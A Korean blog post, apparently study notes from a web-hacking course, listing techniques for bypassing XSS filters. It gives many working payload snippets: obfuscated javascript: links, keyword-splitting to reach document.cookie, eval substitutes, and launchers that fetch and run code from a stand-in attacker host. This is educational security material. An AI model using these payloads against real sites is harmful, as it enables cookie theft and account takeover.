ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • 02-01. Client Side Attack 중급 - XSS Filtering Bypass
    해킹/웹해킹 이론 2023. 11. 24. 01:03

    이벤트 핸들러 속성

    HTML 태그의 속성 값으로 스크립트를 포함할 수 있다. 다만 이벤트 핸들러의 속성에 따라 실행되기도, 되지않기도 함에 주의.

    • onload
    • onerror
    • onfocus
      • autofocus 속성을 이용해 자동으로 포커싱하거나 URL의 hash에 input tag의 id를 넣어 포커싱 시킨다.
      • (e.g. http://dreamhack.io/#inputID)

    문자열 치환

    • 단순 제거 방식일 경우 -> 제거되는 문자열을 중간에 삽입한다. (scr + script + ipt)

    활성 하이퍼링크

    a / iframe tag에 사용되는 javascript: 스키마는 js code를 실행시킨다.

    • 특수 문자를 포함한 우회 예시
      • 실행전 정규화를 통해 (\x01, \x04, \t)와 같은 특수문자가 제거되고 대소문자가 통일됨
        • <a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
      • Entity Encoding (&# + unicode)
        • <a href="\1&#4;J&#97;v&#x61;sCr\tip&tab;&colon;alert(document.domain);">Click me!</a>

    태그와 속성 기반 필터링

    • 대문자, 소문자만 인식 시 대소문자를 섞어 쓸 수 있다
    • 잘못된 정규화 피하기
      • x => !/<img.*on/i.test(x)  => <img src=""\nonerror="alert(document.cookie)"/> (img 뒤에 엔터나 스페이스바를 넣어서 피할 수 있음
    • 특정 태그 및 속성을 다른 태그 및 속성으로 대체
      • script, img, input, video tag 사용 가능
      • iframe의 src에 javascript:를 넣을 수 있다.
      • iframe의 srcdoc을 이용하면 Entity Encoding 우회도 사용할 수 있다.

    자바스크립트 함수 및 키워드 필터링

    • Unicode escape sequence - 문자열에서 유니코드문자를 코드포인트로 나타낼 수 있다.
      • var bar = "cooki\x65";  // cookie
    • Computed member access - 객체의 속성에 접근할 때 속성 이름을 동적으로 계산한다.
      • document["coo"+"kie"] == document["cookie"] == document.cookie
    • alert , XMLHttpRequest등 문서의 최상위 객체 및 함수
      • window['al'+'ert'] 등 이름 끊어쓰기
    • window
      • self, this 사용
    • eval(code)
      • Function(code)()
    • Function
      • isNaN['constr'+'uctor'] 등 함수의 constrcutor속성 접근
    • 문자열 선언
      • " , ' 이 막혀있다면 백틱으로 대체
      • 다 막혀있다면 RegExp 객체 생성 후 패턴만 가져오기
        • var foo = /Hello World!/.source;  // "Hello World!"
        • var bar = /test !/ + [];  // "/test !/"
      • String.fromCharCode 함수 사용 - 인자로 전달된 각각의 유니코드에 해당하는 문자를 붙인 문자열 반환
        • var foo = String.fromCharCode(72, 101, 108, 108, 111);  // "Hello"
      • 기본 내장 함수나 객체의 문자를 사용하는 방법
        • URL.toString(), history.toString()
      • 숫자 객체의 진법 변환 (10진수 ->36진수로 영어소문자범위는 다 생성할 수 있음)
        • var foo = (29234652).toString(36); // "hello"
        • var foo = 29234652..toString(36); // "hello"
        • var bar = 29234652 .toString(36); // "hello"
    • 함수 호출 - 기존 방식 func(1) / func`1`
      • javascript 스키마를 이용한 location 변경
        • location="javascript:alert\x28document.domain\x29;";
          location.href="javascript:alert\u0028document.domain\u0029;";
          location['href']="javascript:alert\050document.domain\051;";
      • Symbol.hasInstance 오버라이딩
        • "alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
          Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
      • document.body.innerHTML 추가
        • document.body.innerHTML+="<img src=x: onerror=alert&#40;1&#41;>";
          document.body.innerHTML+="<body src=x: onload=alert&#40;1&#41;>";

    더블 인코딩을 통한 우회

    한 번 디코딩을 수행하고 안전하다고 판단 된 후 한번 더 디코딩을 하면 더블 인코딩을 해 우회할 수 있다.

    길이 제한

    삽입할 수 있는 코드의 길이가 제한되어 있는 경우, 다른 경로로 실행할 추가적인 코드 (payload)를 URL fragment 등으로 삽입 후 삽입 지점에는 본 코드를 실행하는 짧은 코드 (launcher)를 사용할 수 있다.

    • location.hash를 이용
      • https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
    • 외부 자원을 이용
      • import("http://malice.dreamhack.io");
      • var e = document.createElement('script')
        e.src='http://malice.dreamhack.io';
        document.appendChild(e);
      • fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))

    댓글

Designed by Tistory.